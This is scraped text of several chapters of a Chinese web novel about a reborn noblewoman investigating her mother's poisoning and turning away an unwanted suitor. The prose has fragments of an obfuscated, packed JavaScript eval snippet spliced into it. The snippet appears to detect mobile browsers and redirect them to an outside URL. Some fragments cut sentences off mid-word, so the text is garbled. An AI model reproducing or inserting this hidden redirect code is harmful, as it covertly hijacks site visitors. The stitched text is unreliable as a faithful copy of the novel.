;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆灼瑶忍住泪意,勉强扯着笑道:“林公子不必自贬,我早便感觉到了,你对我无意。我只是心中不甘,想当面问问你罢了。如今听你亲口拒绝,还是不免难过。” 不待他再说什么,陆灼瑶又道:“罢了,既然公子无意,我也不会痴缠。” “林公子权当今日之事没发生过罢。你我相识一场,公子又救了我妹妹性命,之后在陆府有什么我帮的上忙的,只管来找我。” 留下这话,陆灼瑶转身离去。转身时,倔强如她,也终是忍不住流下泪水。 离开时,她腰挺得很直,脚步很快。 一场爱慕终是落下帷幕,怎么会不伤心呢,只是她也有自己的骄傲,敢大胆表达情意,就要做好被拒绝的准备。 “男女之情并不是你喜欢别人,就得要求别人也一定要喜欢你回应你,如若他无意,纠缠不休又有何意义。因爱生恨是最可笑的事情了,爱别人之前一定要先爱自己。” 陆以蓁记得前世长姐嫁人后,是这样与她讲的。 8. 八 明月高悬,月色洒进雕花窗内,屋内香炉升起袅袅青烟,倚在榻上的陆以蓁揉了揉眉心,沉沉叹了口气。 “所以,这么多年了,竟是半分线索也未探到吗?” 跪拜在她身前的松枝兰枝很是惭愧,兰枝道:“当年为夫人看诊的府医,在夫人去后就离了府,自那之后再无踪影,是奴婢没用。” 松枝也道:“请姑娘责罚。” 陆以蓁又叹了一声,起身将二人扶起,“不怪你们,是我忘记了,最没用的是我,最该罚的也是我。” 松枝立马道:“姑娘不要这么说,夫人如果在,也定是想姑娘能够无忧无虑地长大的。” 旁边的兰枝也道:“对,姑娘千万不要责怪自己。老夫人让我们伴在姑娘身边,就是想保护您,不让任何人在您面前提起夫人的事。”她口中的老夫人,是陆以蓁的外祖母秦老太太。 仔细想想,身边雪枝云枝是祖母在她大病过后指给她的,松枝和兰枝年纪比她们都大。她俩都是母亲的陪嫁丫鬟,却从未在她面前提过母亲,跟她也不亲近。恐怕跟她不亲近的原因也是为此,接触多了自然会透露出些细节。 身边至亲不愿她伤心,怕她承受不住再大病一场,瞒她这许多年…… 前世,她死的时候母亲已经过世二十年了。这二十年她都做了些什么?自怨自艾,消磨余生。 这辈子,距离母亲身故也已经过去八年,很多线索也是石沉大海。 “既然出事之后府医就失了踪迹,此事显然还有内情。”陆以蓁更加确信母亲的死另有内情了,她冷静地说,“不论如何,我如今想起来了,就一定会查明真相。我记着你们二人是会点功夫的是吗?” 二人答道:“是。” 陆以蓁心里有了想法,“那明日,我便想个由头让你们拿了身契出府去。” “姑娘……” “放心,”陆以蓁笑道,“不是赶你们走,只是为了避免打草惊蛇,表面上做个样子。好在往日我与你们并不亲厚,除了祖母也无人知道我恢复记忆的事,应该不会被怀疑。” 继而她又吩咐道:“出了府,你们先装作各自回家的样子,然后悄悄去调查当年那个府医的行踪,去趟他老家,向他的亲邻都打听看看,该是能得到些信息的。前几年你们在府中行动受限,如今出了府去,自可放开手脚。” “雁过留痕,我不信世间真有事能做得滴水不漏,你们且细细探查,定能查到些什么来。” 松枝兰枝听完姑娘一番话,眼中燃起了希望,但又想到秦老夫人的嘱咐,欲言又止。 观她们神色有异,陆以蓁问:“可是又何不妥?” 兰枝道:“姑娘计划周全,只是老夫人嘱咐了我二人在府中保护好您,这要是离了府,要是还有人要暗害您可如何是好?前些日子姑娘没带我们出府,就险些出了大事……” 此时陆以蓁才恍然大悟,前世她以为是自己守愚藏拙所以得了半生安稳。不想,其实有人一直在暗暗保护她。 祖母是,外祖母亦是,就连母亲留下的松枝兰枝也是…… 她露出感动的神色,“无事,如今我察觉了不对,自然会小心行事,你们只管去办我所说之事就是了,外祖母那边我自会交代。” “松枝姐姐,兰枝姐姐,这些年,多谢你们二人。” 翌日,松、兰二枝悄然离了府,芳华苑只剩下了陆以蓁和雪枝兰枝。 身边可用之人虽少,好在四个丫头都是各有本事的。 雪枝奉姑娘的命去了田妈妈的家中,却发现早已空无一人。找邻里问询之后才知道,田妈妈被乱棍打死后,她的家人就搬离了京城。 陆以蓁紧皱眉头,问:“可知道搬去了哪里?” 雪枝摇了摇头,答道:“只晓得是去了南边,具体就不知了。” 线索又断了,这一切绝非巧合。 如果凶手真是沈姨娘,她又是如何把这一切安排得如此严密的?她身后还有人!可陆以蓁势单力薄,又是个深闺女子,查案终是不便。 “雪枝、云枝,替我梳妆,我们去宝华苑。” “你要回定国公府?”陆老太太似乎很是惊讶。 陆以蓁笑着解释说:“孙女想起再过几日就是外祖母的寿辰了,这几年因着各种原因未能在外祖母膝下尽孝,这次借着寿辰便想回去看看。” 听她这样说,陆老太太才点了点头,说:“虽说秦老夫人时常来看你,但终究还是聚少离多,这次她过寿,你去也是应当的。” “可是,父亲怕是会不高兴……”自他娶了于氏后就跟秦家交恶,她擅自回外家恐会引得父亲发怒,毕竟父亲本来也不喜她。 陆老太太也思及此,安抚道:“没事,祖母亲去与他说,你父亲不会多说什么的,你放心去就是。” 给外祖母捎了口信,很快就得了回复。 外祖母听闻她要回去的消息很是高兴,回了信来说让她不用等寿宴再回,这会就可以直接过去。 陆以蓁哭笑不得,这时已经是亥时了。不过她本来就准备提前去国公府,便吩咐了人明早备好马车。 多年未回外家,此时陆以蓁思绪万千。 底蕴丰厚的国公府如今不似记忆中热闹,沉寂非常。她也是前些日才从松枝兰枝口中得知,原来母亲去后不久国公府就出了事。 定国公以武起家,乃是开国元勋之一。八年前,母亲身故,父亲另娶,两家关系僵持,恰逢时下动乱,贼匪聚集造反,圣上下令定国公领军南下。老国公也就是她的外祖父带着大舅舅一路剿匪,却不想中了歹人奸计,大舅舅惨死,带的精兵全部阵亡,外祖父本也身受重伤,闻此噩耗更是气急攻心,不久便去了。 此事牵连甚广,秦家失利,这些贼子才露出真面目来,竟是圣上胞弟端王豢养私兵,借贼匪之名,行造反之实。后圣上震怒,派兵镇压,但端王藏锋多年,一路竟打到了京畿。派去的兵马死伤无数,朝中众臣惶恐,竟无人敢领军出城。这时太仆令庶二子谢君珩大胆上殿,御前请命。 圣上恨朝中无人,别无他法,只得派了这个十八岁的少年出城迎敌。没曾想这少年武功盖世、用兵如神,一路势如破竹,退敌十城外,与领了十万振武军前来支援的卫将军前后夹击,剿灭叛匪,诛杀端王。 再后来,这个少年一路从中郎将升至都统,封宁远侯。 而国公府却从此没落,虽有勋爵之位,再无实职。家中三子,长子故去,爵位落到二子头上,而秦三子,陆以蓁的小舅舅,和大舅舅独子秦逸尘自请出京,前往边境驻守。 陆以蓁心下明白,这是他们要去战场上立军功,只有这样才能保住国公府的荣耀。 上一世她只当与外家诸位不亲近,加上两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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听闻她的话,秦老夫人先是目露讶异,随后又是悲伤和无奈,“蓁蓁,当年你还小,外祖母不想让你因着这些事伤心难过,才和陆老太太商量着把事情瞒下。就算知道你母亲的死还有异常之处,还是把这件事草草了结了……蓁蓁,你会怪外祖母吗。” “怎么会!”陆以蓁连忙说,“我知道外祖母您的良苦用心,您是为了我好。我也知道母亲的死恐怕很不简单,外祖母一直派松枝兰枝在陆家保护我,又让她们坚持探察旧案,从来没有放弃过寻找当年那件事的蛛丝马迹,我怎么会怪您呢!” 秦老太太叹息着说:“你都知道了。” 陆以蓁点点头,“是,我已经派兰枝松枝去往了当年那个府医的家乡。母亲的案子,我会查下去。外祖母,您放心,我必然不会让那些隐藏在幕后的真凶逍遥法外,定会给母亲一个公道。” “好!”秦老太太欣慰道,“你是个好孩子。” “当年你遭受打击太重,也太过责怪自己,把一切都压抑在了你的内心深处。这些年你过分乖巧懂事,变得不像自己……外祖母适才意识到,也许我们都错了,是我们把你想得软弱了,或许前几年就该把事实告诉你,只有直面现实,才能获得成长。人生在世,还是要有念想,才能活得有人样儿。” “蓁蓁,外祖母觉得,你现在很好。” 听老太太说完,陆以蓁已经泪流满面,良久她才开口,“外祖母,我明白的。对于母亲的事,不论是亲手将毒药递给母亲这件事,还是忘记了这一切这件事,我都无法原谅自己。所以我更要好好地活下去,把一切都调查清楚!” “你能想明白,外祖母很高兴,”秦老太太慈爱地替她拭去眼泪,“蓁蓁,别哭了。你表兄快要回京了,一切都会好起来的。” 9. 九 陆府。 陆府。 一位锦衣公子在门口等了许久,才见里头门房开门来报:“许公子,实在是不凑巧。定国公府老夫人寿辰将近,二小姐为了给秦老夫人贺寿,昨日便已去了国公府。” 许翊然露出些失望的神色,谢过这人,扭头上了马车。 这些天他在家中,每每看到那副他偷偷带回的枯木逢春图,脑海中就会出现那个清雅如兰的身影。今日,他寻得一副大家的遗世之作,当即便想着过来拿与她一观。她如此精通丹青,可见喜爱,见到此等佳作,也该是会欢喜的吧。 他也不知自己是怎么了,着了魔似的。原本最是孤高清傲的人,明知别人对他避之不及,还上赶子来接近。 许翊然对侍童吩咐道:“你先回府问问母亲,定国公府老夫人寿宴,可曾收到拜帖。” 定国公府老夫人六十大寿。虽说定国公府自老国公与先世子去后荣光不在,但勋爵地位在那里摆着,国公府人缘也不算差,寿宴当日还是来了许多达官显贵。 二舅舅也就是现在的定国公,在男宾席面招待,而陆以蓁随着祖母在女眷处。 说起二舅舅,陆以蓁只记得二舅舅是个十分儒雅的读书人,当年母亲出事,正是二舅舅成亲那日。后来出了太多变故,小舅舅和表兄离京,二舅舅承袭爵位,撑起整个国公府,曾经不染世俗的他也终是不得不变得圆滑世故……前日见到二舅舅,他不过而立之年,已生出了不少白发。 思及此,陆以蓁心下叹息。 众女眷到老夫人跟前拜见祝寿,各自落座。 秦老夫人今日容光焕发,一看就是巾帼不让须眉的武将家眷。陆以蓁坐在她身旁,一袭淡粉色云烟素罗群,很是淡雅端庄。 关于她的传闻从上次花宴后便转了些风向,不少贵家小姐虽然不热络,但却也是微微朝她颔首示意,全了礼数。 “今日诸位赏脸,来老身寿宴,老身不胜感激。诸位也都知道,我们秦家武将出身,没有那么多礼数规矩,大家自可放开了来,吃好喝好,若有招待不周之处,也还请诸位海涵。” “开席。”老太太一声令下,各种美食佳肴由侍人传上,琳琅满目,让人目不暇接。 相较于上次王府花宴,此次秦家寿宴气氛显然轻松许多,至少陆以蓁是这样的感受。只可惜陆秦两家关系不好,否则陆灼瑶也定是会来的。 陆灼瑶没来,她的闺中密友苏青禾倒是来了,直冲着陆以蓁挤眉弄眼。陆以蓁瞧见了,不忍失笑,对老太太欠身道:“外祖母,我有朋友在那边,我过去与她一叙。” 老太太惊喜地笑道:“蓁蓁交到新朋友了?好事,不知是哪家的姑娘。” 陆以蓁回:“是庆国公家五姑娘,苏青禾。” 庆国公府向来跟秦家交好,两家同为开国功臣,一直维持着往来。苏家上头四个哥儿,只得了苏青禾这么一个姑娘,疼爱非常。 只听老太太说:“苏家五丫头啊,是个爽朗的姑娘,你且去吧。” 陆以蓁再欠了欠身,朝那边去了。 “二妹妹,我同阿瑶一般叫你可好?”苏青禾笑咪咪的,她本就长相甜美,此时脸上露出两个小梨窝,可爱极了。 陆以蓁也笑着道:“当然可以了,苏姐姐。” 两人相携离席,走到庭院中,苏青禾道:“二妹妹,好些日子没见你了,是不是你家三妹妹又欺负你了?” 陆以蓁还没答话,她自顾自又说道:“定是了,上次我见着阿瑶便问她,她支支吾吾地只说你生了病在家中休息。我见你上次还好好的怎没过两日就病倒了,就算不是被那个刁蛮的陆三欺负,也定是被她气的,就她这样的,真真是令人讨厌至极的。想她七八岁时就敢污蔑阿瑶偷她东西,好在阿瑶聪明应对及时不然真着了她的道,真是个黑心肝的,小小年纪就不学好,她娘一句孩子小误会了草草了事,后来装得跟阿瑶多和善的样,我看她们母女就是害人精转世。上次争春赛她当着那么多人的面就开始欺负你,回去后还不知道憋着多少坏主意呢,我看你就是被她使坏弄病了的……。” 这件事以前深居别院的陆以蓁也曾听闻过,那时她并未多想,只当是个误会。现在听她说来,竟还真是于氏串掇着那么小的三妹去诬陷长姐。 苏青禾说了这么一长串,还待再说,陆以蓁连忙止住她,“苏姐姐,快别说了,这还有其他人呢,就怕被别人听了去,还不知道要惹多少麻烦。” 她本是好意,但就怕别人听到只言片语,传出去就会变了样。 只见她努了努嘴,说:“我就是讨厌你们家那个继夫人和三小姐嘛,阿瑶也不让我出来说这些。但是我一见你便觉得亲近,就想着与你说。” “好姐姐,”陆以蓁无奈地笑说,“与我说自是没什么,可今日宾客众多,难免隔墙有耳。” 她话音刚落,就听到一声轻笑。 抬眼望去,一个高大俊朗的男子出现在视野中,他一身暗紫色绣金腾云祥纹锦袍,头戴鎏金冠,脚踩蟒纹皂靴,漆黑眼眸深邃冷静,只眼底投出一丝微不可见的笑意。 这个人给人很重的压迫感,似乎只要在他面前被看上一眼,就会被看透,无处遁形。 她觉得有些眼熟。 再往他一旁看去……曾经与她嬉笑没个正形儿的少年郎彻底变了样,许是战场磨练所致,变得内敛沉稳了。虽然披着温润如玉的皮,但仔细看便知他笑意不及眼底。 这是已经许久未见的表兄,秦逸尘。 她刚打量完二位,后者亦是。秦逸尘看她那熟悉的眉眼,只听他颇有些惊讶地说:“小表妹?” 陆以蓁回以一笑,道:“表兄,许久不见了。” 秦逸尘回来得匆忙,刚进府就撞见自家的肉团子小表妹,咳……现在不是小团子了,小表妹也长成了大姑娘。 他想着先去与祖母请安贺寿,就带着好友回房更衣。 留下陆以蓁二人还在院里,苏青禾双眼一亮,目光灼灼地问道:“刚刚那个是你表兄啊?怎么从未见过呢?” 陆以蓁答:“表兄前几年便跟我小舅舅一起去了战场,多年未回,想来又与苏姐姐差了些 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苏青禾楞了一下,道:“我听说的呀。” 陆以蓁:“……” 见她有些不信,苏青禾又解释说:“别的是听说的,可玄武门那回我可是亲看到的,全京城的人都看到了!”说完又看了她一眼,“咳咳,可能像你一样的少数人没看到罢了。” 谢君珩,宁远侯。 陆以蓁总算想起来为何觉得有些熟悉了。 前世她大婚之日,凤冠霞帔,嫁入许家,也算得上是京城头等风光的。 但是那时陆以蓁名声不佳,在陆府送嫁的宾客里目光不善者众,唯有她的祖母和外家亲人眼中满是不舍与祝福,他们是真心希望她婚后幸福美满的。 今日见到的这个人,当时就站在她表兄身旁,她听到不少人恭维地叫他“宁远侯爷”。 大婚的时候,小舅舅和表兄都特意从边关赶了回来。当时她不知其中种种,只觉得两家关系不好,平时除了秦老太太外都少有来往。 她闭门不出,从不主动与外家联络,想来早就寒了他们的心,除了她大婚那日,之后数年,再未谋面。 陆以蓁一直以为,表兄和舅舅们会到陆府来送亲,只是因为外祖母特意嘱咐。他们定是不愿的,故而见面后,她只是礼貌地行了礼。 想想曾经的自己还真是自以为是,耳盲眼瞎啊。 那时嫁去许家还是表兄送的轿,她记得,纵然自己态度冷淡,表兄仍然露出了很是真心的笑容,抱着她上了花轿,跟了一路。 “小表妹,今日是你大喜之日,我就祝你与许公子琴瑟和鸣,恩爱两不疑。” 按礼制新娘兄弟只能送到中途,这是秦逸尘临走前对她说的话。 那日,他话音落下,陆以蓁又听得一人开了口,语气轻柔。 虽不知是谁,但那句祝愿她现在还清晰记得。 “愿你今世无忧,诸事顺遂;愿你岁月静好,喜乐常伴。” 10. 十 秦逸尘带着谢君珩到秦老太太跟前见礼,两人刚进厅堂,整个屋子霎时间鸦雀无声。 实在是谢君珩带给人的威慑力太足了,哪怕没亲眼见过这位的,也都听说过他的“杀神”之名,夫人姑娘们都有些畏惧。 端坐的秦老太太倒是喜笑颜开:“逸哥儿回来了,快过来让祖母瞧瞧。” 秦逸尘露出真切的笑容,到老太太膝前跪下,“祖母,孩儿给您祝寿。” “好!好!”秦老太太连说两个好字,眼神慈爱,继而转向谢君珩,“逸哥儿在信中与我说过,在外多受宁远侯照拂,此番还肯赏脸来老身寿宴,老身在此谢过了。” 说着老太太就要起身对谢君珩拜谢,后者忙上前双手将老夫人扶起,与他冷酷传闻不同,颇为温和有礼地开口道:“老夫人不必行如此大礼,我与逸尘向来交好,帮衬是应该的。老夫人六十大寿,作为晚辈也自是要来贺寿的。” 这边拜见完了,他们去了男宾席面,待二人一走,女眷们才又热闹起来,不少人小声议论着。 “那便是谢候了,看起来没有传闻中那么可怕啊。” “那是你没见过当年……” “这可不兴说啊,这可是在定国公府!” 虽说谢君珩与定国公府当年的际遇并无关联,但毕竟老国公和先世子是在那场祸乱中身亡的,几人既身为国公府的宾客,又是老夫人大寿的日子,提起这桩旧事终究还是不妥。 出声劝诫的女子正是大理寺卿吴府嫡四女吴宣宜,她从小就与定国公府的三公子,也就是在外征战的秦三秦羡定下婚约,只是当年国公府出了事,秦三守孝拖延了婚期,而后秦三自请戍边,不想耽误吴家姑娘于是去吴府退婚,奈何吴宣宜是个痴情的主,宁死不肯退婚,一等,便等到了现在,已是二十有四了。 另几位女子还在小声交谈着。 “但传言真不一定属实,你看那陆家姑娘不就是吗,哪有传闻那么不堪,我看这宁远侯的传言也不一定是真的。” “那你可想错了,宁远侯是真的可怕。” “别老说谢候了,我觉着秦家少爷倒是越来越俊了!” “是啊,”有人开始调侃起吴宣宜来,“吴四姑娘不就差点成为秦少的小叔母嘛。” 吴宣宜只是笑笑,并未回答。 庭院中,陆以蓁独自坐在石桌旁,看着昔日熟悉的景色,心中正感慨着。 “陆二姑娘。”一人缓缓走近,停在她身前,目光闪烁地看着她。 抬眸看去,一袭月白锦袍依旧,玉冠束发,端的是玉树临风仪表堂堂。 许翊然…… 陆以蓁起身,微微欠身,“见过许公子。”她温和有礼,语气却带着疏离。 那人装作不在意地笑道:“上次王府匆匆一别,还未好好与二姑娘说过话。我与姑娘一般,素来喜爱丹青,上次见二姑娘画作,实在是惊艳。近来我收集到端木大家一幅遗作,特带来赠予姑娘。” 闻言,陆以蓁垂眸,掩去眼中的冷淡,温声推脱道:“我与许公子无亲无故,自然不能接受你如此珍贵的赠礼,请许公子收回。” 许翊然正了神色,“初见时就感觉到姑娘对在下似乎有些成见?” 他倒是十分敏锐。陆以蓁心下不由叹息,想起了前世。许翊然与她新婚一月后便厌弃了她,她是知道理由的。 那时的她嫁为人妇,也是想恪守妇道,好好服侍夫君,与之相敬如宾、携手余生的。 起初许翊然待她是好的,虽然听了许多谣言对她并无好感,但成亲过后接触相处,发现她也不是传言那般。不抱太大希望,就不会失望。他预期很低,于是见到陆以蓁后反倒生了些惊喜。二人同床共枕,朝夕相处,许翊然也难免生了情愫。就在这个时候,他收到了匿名密信,发现了自己夫人的心里还装着其他人。 许翊然出身书香门第,年少成名,看着是个温润如玉的少年郎,实际上犹为自傲。他心气高,自然容不下自己的夫人心系他人。但他并不直说,只是每每见到陆以蓁,便想到密信中的话语,心中产生了些许妒恨。虽然如此,但许翊然觉得自己还是喜欢她的,并未把事情挑明。 真正让许翊然彻底厌弃她的,是成亲后月余,他发现她喝的汤药里有问题。 一查,原来陆以蓁每次与他同房后,都会喝下的汤药,名为避子汤。 她竟然不想怀下他的孩子。 许翊然觉得自己收到了莫大的侮辱,心痛恼怒交织,当即想要休妻。消息不知怎的传到陆家去了,陆府老太太亲自上门。 最终他还是没有休妻,与她分院别住,此生不复相见。 祖母去后,机缘巧合之下,陆以蓁知晓了这些事,她知道的时候只觉得可笑。 没错,她是心里有别人。但她既然安心嫁到了许家,她就不会再去想她人,哪怕克制不住内心的情感,她也必然不会做对不起许翊然的事。 避子汤更是子虚乌有的事,她都不知道自己喝的是避子汤! 可笑的是他竟问也不问,就给她定了罪。 陆以蓁无从辩驳,亦不想辩驳。孤苦十载,已然是尝够了深宅大院的滋味。她也厌恶曾经的自己,很多真相就在她的不作为下被掩埋。 时至今日,一切还未发生,陆以蓁绝不会再重蹈覆辙。 她唇角勾起,笑容带着些冷意,“许公子说笑了,我们不过一面之缘,我哪里对公子有什么成见。” 继而又道:“我知我祖母有意撮合我们两家,抱歉,小女自觉才疏学浅,配不上许公子此般的少年英才,公子的缘分不是我,也不必费心思在小女身上。” 她话说得直白,说完转身就走。许翊然忍不住泛起酸楚,如鲠在喉,只能看着她离开,在原地伫立良久。 寿宴散场,各府官眷离去。 陆以蓁这才和表兄一同到了秦老太太卧房相聚,没了外人,两兄妹才好好叙了旧。 “小表妹真是变化太大了,我差点都没敢认她。”秦逸尘卸下伪装,没正经地笑着打趣,又和陆以蓁记忆里那个表兄重合起来了。 秦老太太 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陆以蓁一脸探究的表情。 听他又说:“祖母说你受了刺激,失忆了,不让我们跟你提起以前的事。其实我和小叔早就在查这件事了,你要查的是你府上那个田妈妈的夫婿吧。” 正是此人!陆以蓁点了点头。 “死了。” 他轻吐了两个字,陆以蓁眉头蹙得更深,“死了?” 秦逸尘神色黯然,“就在姑母去后不久,那男人就带着一大笔银子逃去了江南,再然后,就被人发现暴毙在家中。我们去晚了一步。” 线索又断了。 但陆以蓁还是在仅有的信息中察觉到了端倪,“一大笔银子,暴毙家中,看来我的想法是对的,害母亲的果然另有他人。” “是啊,可惜我们再没查到其他的线索了。家中又出了事,姑母的事,便断在这里。”秦逸尘抿着唇,垂下眼眸。 当年祖父和大舅舅出兵剿匪,却中了贼人奸计,乃至于秦家军几近全军覆没。奸人尚未伏法,此案也疑点重重,但端王已死,奸人藏匿,很多谜团还未解开。秦羡与秦逸尘为了保住秦家功勋荣誉出征边关,暗中也一直在追查这件事,姑母的事情只好先搁置在一旁,唯有祖母派去陆府的两个婢女还在打探消息。 陆以蓁沉沉地叹息一声。 似乎所有坏事都在那年发生了,那年小舅舅不过弱冠,表兄只是个十八岁的少年,她也仅仅只是个六岁的幼童。这一切对于秦家来说,过于沉重。 “我会查下去,我会把一切查清楚的。”陆以蓁握紧了拳头,坚定地说道。 秦逸尘拍了下她的脑袋,弯着眉眼,“好,有什么需要我帮忙的你尽管说。” “好,如果需要表兄援手,我会派我身边的丫头来秦府寻你。”陆以蓁转念似是想到了什么,“另外,我想要一些医书,最好是有各种毒药记载的书,还请你为我寻来!” 11. 十一 “哦?”玄衣华贵的男人把玩着手里的玉扳指,眼中颇有些有趣的意味,“你说她要学医?” 此人正是令人闻风丧胆的谢君珩,他倚坐在软塌上,听秦逸尘诉说完昨夜与陆以蓁的对话。 “我曾在北巡途中偶然结识一位医士,此人医术高超,如今就在我身边做事,你先寻些医书给你妹妹送去,待时机合适再把这医士一并送去。” 秦逸尘笑了笑,朝他抱拳致谢:“还是你想的周到,那我便替小表妹谢过谢候了。”又见他神色突然凝重,“表妹想起旧事,多半是觉出了姑母出事的端倪。我总觉得祖父、父亲的死跟姑母的死有某种联系,虽然一直没有查到实质性证据,但总有种说不出来的感觉……” “凡事皆有由头,你的直觉没错,秦大娘子的死,就是一个讯号。”谢君珩将玉扳指戴回手上,拿出一封无名密信。 接过信一看,秦逸尘止不住惊讶,“这……此事牵连甚广。” 谢君珩冷静道:“远远不止这些,顺着这条线查下去,可能还会有很多线索浮出水面。我会将这消息上奏给圣上,那些幕后之人必定坐不住,就等他们自己露出马脚。” “这趟回京,且等着看吧,好戏才刚刚开场。” 在定国公府待了许多时日,陆以蓁拜别祖母和二舅舅,独自回了陆府。 回府途中她想起外祖母依依不舍的神情,关心嘱咐的话语,心中一阵暖意。 马车行至陆府,站定在陆府门前,看着气派偌大的宅院,陆以蓁只觉得身体四肢逐渐发冷。 母亲的死绝非偶然,她很难不怀疑于氏,不怀疑陆府的人。 陆家,只有祖母和长姐真心待她。前世长姐顺遂,自不用她来操心,但是祖母……前世祖母在明年立夏前就会病逝。可祖母现下身体还算康健,究竟是什么原因导致她生病的呢,倘若真的是内因,那便也可以好好调养,这一世,她定然要照顾好祖母。陆以蓁心中默默想着。 如果是外因……这一次,她不会允许有任何人谋害祖母。 宝华堂。 院里摆放着几个大箱子,正堂中不仅陆老太太在,连于氏也带着女儿坐在旁,她们对面坐着一位衣着端庄的妇人。 陆以蓁一路走来,还以为又是哪家公子哥儿上门来求娶长姐。进门一看到于氏和陆以菁,便知自己想错了。 她缓缓走进屋内,礼数周全地行礼:“以蓁刚回府,特来拜见祖母,祖母安康。”继而她朝顾氏福身,“见过大娘子。” 再转向那妇人时她才看清,是上回争春赛时见过的,与永安王妃一同作为评审的郭夫人,内阁学士郭大人的夫人。 不待陆以蓁问好,郭夫人就起身满面笑意地牵起她看,“上次花宴一见,我就喜欢这陆二姑娘,知书达理、温婉可人的。” 陆以蓁有种不太妙的预感。 果真,那郭夫人又朝老太太说:“陆老夫人,你们陆家的姑娘真是个个都养的好极了,也怪不得那好儿郎惦记着。老太太,我也不绕圈子了,您看这许家夫人托我上门来说媒,有意求娶您家陆二姑娘,不知您意下如何?” 许家?许家只许翊然一个独子。前次她说的够清楚了,这才没几日,明知她对他无意,竟转头便要来求娶。 太无赖了。 这人本是个十足骄傲的人,这件事着实在她意料之外。 上坐的陆老太太闻言却很开心,“前些时日许夫人也来府上与老身提过,我看这是门不错的亲事,蓁儿,你觉得呢?” 虽然此时在询问她的意见,但她知道老太太早就嘱意许翊然,巴不得替她应下这门亲事。 祖母是为她着想,但她又该如何启口拒绝。 陆以菁在一旁恨的牙痒痒,刚想要开口,被于氏拉住,使了个眼色。 “母亲,这可真是件大喜事。可毕竟是府上二姑娘的婚姻大事,老爷现下不在府中,还是等老爷回来再商议吧。”于氏笑吟吟的。 陆老太太收敛笑容,沉声道:“蓁儿养在我身边,她的婚事,我还是做的了主的。” 于氏忙道:“母亲您说的是,是儿媳多嘴了。”言罢,她垂下眼眸,掩去眸中的冷意。 “祖母,这件事,我想要好好考虑一下。”陆以蓁还是开了口,她直直地望向祖母,神色很是郑重。 陆老太太叹了口气,“罢了,你且好好想想吧。” 见状,那说媒的郭夫人也不多言,只道:“婚娶大事,是得好好思量一番,那我今日就不多打扰了,待二姑娘有了答复,我再去许家回话。” “有劳郭夫人。”陆以蓁派雪枝将人送出府,目光扫到一旁的陆以菁,她眼中的愤恨毫不掩饰。 是了,恐怕在这时候陆以菁就已经心属许翊然了。 电光火石间,一个想法突然闪过,陆以蓁有一计上心头。 翰林院掌院家嫡公子要求娶陆家姑娘,此事传遍整个京城。 这消息是陆以蓁悄悄令人透出去的,她却并未向郭夫人回话。 此时她正在闺房中看一本医书,将其中一些药物详细的功效誊抄到竹简上。 母亲死因是中毒身亡,沈姨娘用的是砒霜,七窍流血的死状确实是食用砒霜后有的反应。可是太快了,毒发太快了。 当年场景太过惨烈,对她打击太大,以至于其中细节已无法记起。 只能寄希望于寻到那回乡的府医…… 陆以蓁揉了揉眉心,心中思绪万千。 耳畔响起轻轻的脚步声,是云枝从府外回来,“姑娘,秦公子那边回话,消息已经传出去了。” “好。”陆以蓁微一点头。 云枝不由好奇,“姑娘,您那日不应下亲事,不嫁便罢了,为何要将此事传扬出去呢?若是婚事没成,对您的名声可没有好处啊。” 她说的对,但陆以蓁这里留了一个小心思。只让她说许家要跟陆家结亲,并未说是与哪个姑娘结亲。 更何况……陆以蓁自嘲笑笑,“我的名声本就没什么好维护的,不必在意。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14243918|151481||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “可姑娘,许家公子翩翩少年,家世样貌都好,许多姑娘都想嫁呢,你为何不喜欢呢?”云枝心里实在疑惑,她觉得自家姑娘好像从前段时日起就变了很多,但又像是没变。 要是从前,就算姑娘不喜欢,只要老太太喜欢,姑娘便会顺势应下。 陆以蓁对上她疑惑的眼神,“傻丫头,哪有那么多为什么,不喜欢就是不喜欢。” “那姑娘可有喜欢过什么人吗?” “有的。”她轻轻喃道,声音轻的只有她自己听到。 有些人,一见便是心起涟漪,钟情难忘。 说起来,林公子科考将近,如若没有意外,该是在今次会试中一举中榜,随后于殿试中高中状元。 我朝第一位连中三元的少年郎。 陆以蓁提笔写下一串文字,递给云枝,“你按这个方子去取些安神的香料来。” 待云枝去后,她拿出在溱洧集会买的同心结,看得出了神。 那日落水,依稀只记得是个男子将她救起。却不想,竟然是林公子。 前世今生,那是第一次跟他靠的那么近。 思绪间,房门哐当一声被猛的推开。 陆以菁气冲冲地闯进来,她本来生得明艳,此时却因怒气显得有些扭曲。 这是两姐妹自落水事件后第一次单独见面,屋外的雪枝见状立马进屋来护在自家二姑娘身旁。 “陆以蓁,你怎么这么不要脸啊。” 她骂得难听,雪枝一听便气得红了眼睛,偏陆以蓁神情自若,很是淡然,“三妹妹,不知何事又惹得你生气了。” 陆以菁横眉冷冷地盯着她,什么心思全摆在了脸上,“装!你继续装!我看你巴不得答应许家婚事,不过是怕父亲不允,这才演戏拖延,又故意把消息传出去,好让你如愿以偿!” 听到她说出来的话后,陆以蓁觉得可笑。 她不过才有了点动作,对方就坐不住了。这般沉不住气,又怎么能想出她猜测中那些缜密的计划呢。 陆以蓁故作低落模样,“此事我全然不知,为何三妹妹如此笃定我想嫁给许家公子,又是如何肯定一定是我散布消息呢,你好像对我有很大的成见,不知我究竟是哪里做得不对……” “难道上次你的气还没有出够吗?三妹妹究竟要我如何。” 她话音刚落,那边就嘲讽道:“许家哥哥那么好,你配不上他!你若是有自知之明,就去拒掉婚事。”言罢,转身离开的时候还恶狠狠瞪了她一眼。 